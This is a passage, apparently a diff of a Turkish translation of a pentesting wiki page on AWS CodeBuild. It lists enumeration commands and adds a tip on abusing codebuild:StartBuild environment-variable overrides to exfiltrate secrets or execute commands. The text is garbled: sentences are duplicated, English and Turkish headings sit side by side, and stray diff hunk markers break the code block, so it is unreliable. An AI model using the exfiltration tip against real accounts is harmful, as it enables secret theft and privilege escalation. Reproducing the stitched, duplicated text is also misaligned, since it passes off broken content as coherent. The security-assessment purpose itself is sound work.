Repository platformuna (Github, Gitlab ve Bitbucket) bağlı olarak farklı seçenekler sunulur. Ancak genel olarak, bir token veya parola depolamayı gerektiren herhangi bir seçenek, bunu **secrets manager** içinde bir secret olarak depolar.
Bu, **farklı codebuild projelerinin sağlayıcılara farklı yapılandırılmış erişimleri kullanmasına** olanak tanır, sadece yapılandırılmış varsayılan olanı kullanmak yerine.
Bu, sadece varsayılan yapılandırılmış erişimi kullanmak yerine, sağlayıcılara yönelik farklı yapılandırılmış erişimleri kullanmak için **farklı CodeBuild projelerinin farklı erişimler kullanmasına** olanak tanır.
### Enumeration
### Keşif
```bash
# List external repo creds (such as github tokens)
## It doesn't return the token but just the ARN where it's located
@@ -47,9 +47,12 @@ aws codebuild list-build-batches-for-project --project-name <p_name>
aws codebuild list-reports
aws codebuild describe-test-cases --report-arn <ARN>
```
> [!TIP]
> Eğer `codebuild:StartBuild` izniniz varsa, build sırasında (`--environment-variables-override`) genellikle env vars'ları geçersiz kılabileceğinizi unutmayın. Bu, `UpdateProject` veya `buildspec` override'ları olmadan bile bazı saldırılar için yeterlidir (örneğin: artifact/upload buckets'ları yönlendirerek secrets'ı exfiltrate etmek veya language/runtime env vars'ları kötüye kullanarak komut çalıştırmak).
### Privesc
Aşağıdaki sayfada, **codebuild izinlerini kötüye kullanarak ayrıcalıkları artırma** yöntemini kontrol edebilirsiniz:
Aşağıdaki sayfada, **codebuild izinlerini kötüye kullanarak ayrıcalık yükseltmeyi** nasıl yapacağınızı görebilirsiniz:
{{#ref}}
../aws-privilege-escalation/aws-codebuild-privesc/README.md
@@ -67,7 +70,7 @@ Aşağıdaki sayfada, **codebuild izinlerini kötüye kullanarak ayrıcalıklar
../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
{{#endref}}
## References
## Referanslar
- [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)